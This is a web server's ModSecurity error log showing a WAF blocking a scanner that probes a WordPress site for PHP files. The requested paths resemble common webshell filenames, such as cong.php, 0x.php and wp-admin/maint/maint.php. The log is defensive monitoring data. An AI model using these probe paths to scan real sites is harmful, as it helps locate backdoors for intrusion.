[Wed Feb 25 00:47:02.429549 2026] [:error] [pid 18447:tid 18768] [client 20.203.143.97:9176] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aZ3WBs-TpHVc8yBj5eaiewAAAgU"]
[Wed Feb 25 00:47:03.216633 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:5008] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cong.php"] [unique_id "aZ3WB3xLbzvRGuzwKjnAqwAAAEI"]
[Wed Feb 25 00:47:04.339686 2026] [:error] [pid 18850:tid 18873] [client 20.203.143.97:4157] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aZ3WCODBmHucoAJRnqnfPAAAABU"]
[Wed Feb 25 00:47:05.513330 2026] [:error] [pid 18850:tid 18862] [client 20.203.143.97:12119] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aZ3WCeDBmHucoAJRnqnfQQAAAAo"]
[Wed Feb 25 00:47:06.955166 2026] [:error] [pid 18850:tid 18863] [client 20.203.143.97:13241] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aZ3WCuDBmHucoAJRnqnfRgAAAAs"]
[Wed Feb 25 00:47:08.965257 2026] [:error] [pid 26872:tid 26896] [client 20.203.143.97:19803] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/w.php"] [unique_id "aZ3WDHxLbzvRGuzwKjnAuwAAAFY"]
[Wed Feb 25 00:47:11.194742 2026] [:error] [pid 26872:tid 26887] [client 20.203.143.97:13195] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aZ3WD3xLbzvRGuzwKjnAxwAAAE0"]
[Wed Feb 25 00:47:12.575395 2026] [:error] [pid 18850:tid 18870] [client 20.203.143.97:12343] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aZ3WEODBmHucoAJRnqnfTgAAABI"]
[Wed Feb 25 00:47:14.494690 2026] [:error] [pid 18850:tid 18871] [client 20.203.143.97:8345] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aZ3WEuDBmHucoAJRnqnfUgAAABM"]
[Wed Feb 25 00:47:16.251665 2026] [:error] [pid 18458:tid 18802] [client 20.203.143.97:4881] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aZ3WFAuir-tBe4tUislyLwAAAog"]
[Wed Feb 25 00:47:17.425141 2026] [:error] [pid 18458:tid 18819] [client 20.203.143.97:8621] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aZ3WFQuir-tBe4tUislyNgAAApg"]
[Wed Feb 25 00:47:18.323305 2026] [:error] [pid 18447:tid 18778] [client 20.203.143.97:16710] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aZ3WFs-TpHVc8yBj5eaigwAAAg8"]
[Wed Feb 25 00:47:19.940583 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:11516] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aZ3WF3xLbzvRGuzwKjnA3gAAAEI"]
[Wed Feb 25 00:47:21.232408 2026] [:error] [pid 26872:tid 26885] [client 20.203.143.97:10287] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/0x.php"] [unique_id "aZ3WGXxLbzvRGuzwKjnA4wAAAEs"]
[Wed Feb 25 00:47:22.576780 2026] [:error] [pid 18458:tid 18800] [client 20.203.143.97:13208] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aZ3WGguir-tBe4tUislyPAAAAoY"]
[Wed Feb 25 00:47:24.395914 2026] [:error] [pid 18850:tid 18871] [client 20.203.143.97:9699] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aZ3WHODBmHucoAJRnqnfXwAAABM"]
[Wed Feb 25 00:47:25.792656 2026] [:error] [pid 18447:tid 18766] [client 20.203.143.97:10754] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aZ3WHc-TpHVc8yBj5eaiiQAAAgM"]
[Wed Feb 25 00:47:26.970489 2026] [:error] [pid 26872:tid 26876] [client 20.203.143.97:16724] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/css.php"] [unique_id "aZ3WHnxLbzvRGuzwKjnA6wAAAEI"]
[Wed Feb 25 00:47:27.637569 2026] [:error] [pid 18850:tid 18856] [client 20.203.143.97:10342] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aZ3WH-DBmHucoAJRnqnfZQAAAAQ"]
[Wed Feb 25 00:47:28.225851 2026] [:error] [pid 26872:tid 26891] [client 20.203.143.97:11854] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aZ3WIHxLbzvRGuzwKjnA7AAAAFE"]
[Wed Feb 25 00:47:28.876098 2026] [:error] [pid 18447:tid 18769] [client 20.203.143.97:9690] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aZ3WIM-TpHVc8yBj5eaijAAAAgY"]
[Wed Feb 25 00:47:29.433052 2026] [:error] [pid 18458:tid 18801] [client 20.203.143.97:23994] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aZ3WIQuir-tBe4tUislyQQAAAoc"]
[Wed Feb 25 00:47:30.431901 2026] [:error] [pid 18447:tid 18776] [client 20.203.143.97:11877] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ3WIs-TpHVc8yBj5eaijQAAAg0"]
[Wed Feb 25 00:47:31.795501 2026] [:error] [pid 18458:tid 18809] [client 20.203.143.97:14956] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ3WIwuir-tBe4tUislyRwAAAo4"]
[Wed Feb 25 00:47:32.877765 2026] [:error] [pid 18458:tid 18794] [client 20.203.143.97:12161] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ3WJAuir-tBe4tUislySgAAAoE"]
[Wed Feb 25 00:47:34.073285 2026] [:error] [pid 26872:tid 26889] [client 20.203.143.97:20178] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aZ3WJnxLbzvRGuzwKjnA9wAAAE8"]
[Wed Feb 25 00:47:34.640850 2026] [:error] [pid 26872:tid 26892] [client 20.203.143.97:12667] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aZ3WJnxLbzvRGuzwKjnA-AAAAFI"]
[Wed Feb 25 00:47:35.280584 2026] [:error] [pid 18447:tid 18780] [client 20.203.143.97:12095] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aZ3WJ8-TpHVc8yBj5eaikwAAAhE"]
[Wed Feb 25 00:47:35.879557 2026] [:error] [pid 18458:tid 18817] [client 20.203.143.97:10326] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aZ3WJwuir-tBe4tUislyTAAAApY"]
[Wed Feb 25 00:47:36.473252 2026] [:error] [pid 18447:tid 18768] [client 20.203.143.97:4577] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/admin.php"] [unique_id "aZ3WKM-TpHVc8yBj5eailAAAAgU"]
[Wed Feb 25 00:47:37.166535 2026] [:error] [pid 18447:tid 18766] [client 20.203.143.97:12196] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aZ3WKc-TpHVc8yBj5eailwAAAgM"]
[Wed Feb 25 00:47:37.703516 2026] [:error] [pid 26872:tid 26885] [client 20.203.143.97:12205] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aZ3WKXxLbzvRGuzwKjnA-wAAAEs"]
[Wed Feb 25 00:47:38.479475 2026] [:error] [pid 18458:tid 18809] [client 20.203.143.97:12184] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aZ3WKguir-tBe4tUislyUQAAAo4"]
[Wed Feb 25 00:47:38.997285 2026] [:error] [pid 18447:tid 18774] [client 20.203.143.97:12758] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/maint/maint.php"] [unique_id "aZ3WKs-TpHVc8yBj5eainQAAAgs"]
[Wed Feb 25 00:47:39.550849 2026] [:error] [pid 18850:tid 18872] [client 20.203.143.97:10562] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aZ3WK-DBmHucoAJRnqnfaQAAABQ"]
[Wed Feb 25 00:47:40.132111 2026] [:error] [pid 18447:tid 18764] [client 20.203.143.97:15942] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aZ3WLM-TpHVc8yBj5eainwAAAgE"]
[Wed Feb 25 00:47:40.712228 2026] [:error] [pid 18850:tid 18854] [client 20.203.143.97:13077] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aZ3WLODBmHucoAJRnqnfbAAAAAI"]
[Wed Feb 25 00:47:41.849348 2026] [:error] [pid 18458:tid 18802] [client 20.203.143.97:48196] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aZ3WLQuir-tBe4tUislyVAAAAog"]
[Wed Feb 25 00:47:43.033832 2026] [:error] [pid 18458:tid 18799] [client 20.203.143.97:26197] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aZ3WLwuir-tBe4tUislyVwAAAoU"]
[Wed Feb 25 00:47:43.864690 2026] [:error] [pid 18447:tid 18777] [client 20.203.143.97:11755] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aZ3WL8-TpHVc8yBj5eaioQAAAg4"]
[Wed Feb 25 00:47:44.603375 2026] [:error] [pid 26872:tid 26894] [client 20.203.143.97:4180] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aZ3WMHxLbzvRGuzwKjnBAAAAAFQ"]
[Wed Feb 25 00:47:45.157827 2026] [:error] [pid 26872:tid 26889] [client 20.203.143.97:4169] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/abcd.php"] [unique_id "aZ3WMXxLbzvRGuzwKjnBAQAAAE8"]
[Wed Feb 25 00:47:45.986468 2026] [:error] [pid 26872:tid 26879] [client 20.203.143.97:4169] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZ3WMXxLbzvRGuzwKjnBAgAAAEU"]
[Wed Feb 25 00:47:46.718374 2026] [:error] [pid 18458:tid 18818] [client 20.203.143.97:11769] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autoload_classmap.php"] [unique_id "aZ3WMguir-tBe4tUislyXgAAApc"]
[Wed Feb 25 00:48:20.404726 2026] [:error] [pid 18458:tid 18807] [client 94.247.172.129:53098] [client 94.247.172.129] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "close, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZ3WVAuir-tBe4tUislyiwAAAo0"]
[Wed Feb 25 00:49:36.876210 2026] [:error] [pid 18441:tid 18710] [client 20.203.143.97:4639] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aZ3WoBYF1wpOnXIaHlOLZgAAAMI"]
[Wed Feb 25 00:49:38.296125 2026] [:error] [pid 18850:tid 18854] [client 20.203.143.97:20157] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aZ3WouDBmHucoAJRnqng9wAAAAI"]
[Wed Feb 25 00:49:41.684870 2026] [:error] [pid 26872:tid 26892] [client 20.203.143.97:20512] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aZ3WpXxLbzvRGuzwKjnCDgAAAFI"]
[Wed Feb 25 00:49:45.931908 2026] [:error] [pid 26872:tid 26874] [client 20.203.143.97:23664] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/404.php"] [unique_id "aZ3WqXxLbzvRGuzwKjnCEQAAAEA"]
[Wed Feb 25 00:49:48.783995 2026] [:error] [pid 18850:tid 18871] [client 20.203.143.97:8501] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aZ3WrODBmHucoAJRnqnhJgAAABM"]
[Wed Feb 25 00:49:49.730148 2026] [:error] [pid 26872:tid 26896] [client 20.203.143.97:17852] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aZ3WrXxLbzvRGuzwKjnCFwAAAFY"]
[Wed Feb 25 00:49:50.512176 2026] [:error] [pid 26872:tid 26882] [client 20.203.143.97:24004] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aZ3WrnxLbzvRGuzwKjnCHQAAAEg"]
[Wed Feb 25 00:49:51.021028 2026] [:error] [pid 26872:tid 26874] [client 20.203.143.97:9909] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mail.php"] [unique_id "aZ3Wr3xLbzvRGuzwKjnCJAAAAEA"]
[Wed Feb 25 00:49:51.665481 2026] [:error] [pid 18458:tid 18818] [client 20.203.143.97:38253] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ3Wrwuir-tBe4tUisly7gAAApc"]
[Wed Feb 25 00:49:52.314766 2026] [:error] [pid 18850:tid 18853] [client 20.203.143.97:12698] [client 20.203.143.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aZ3WsODBmHucoAJRnqnhKgAAAAE"]
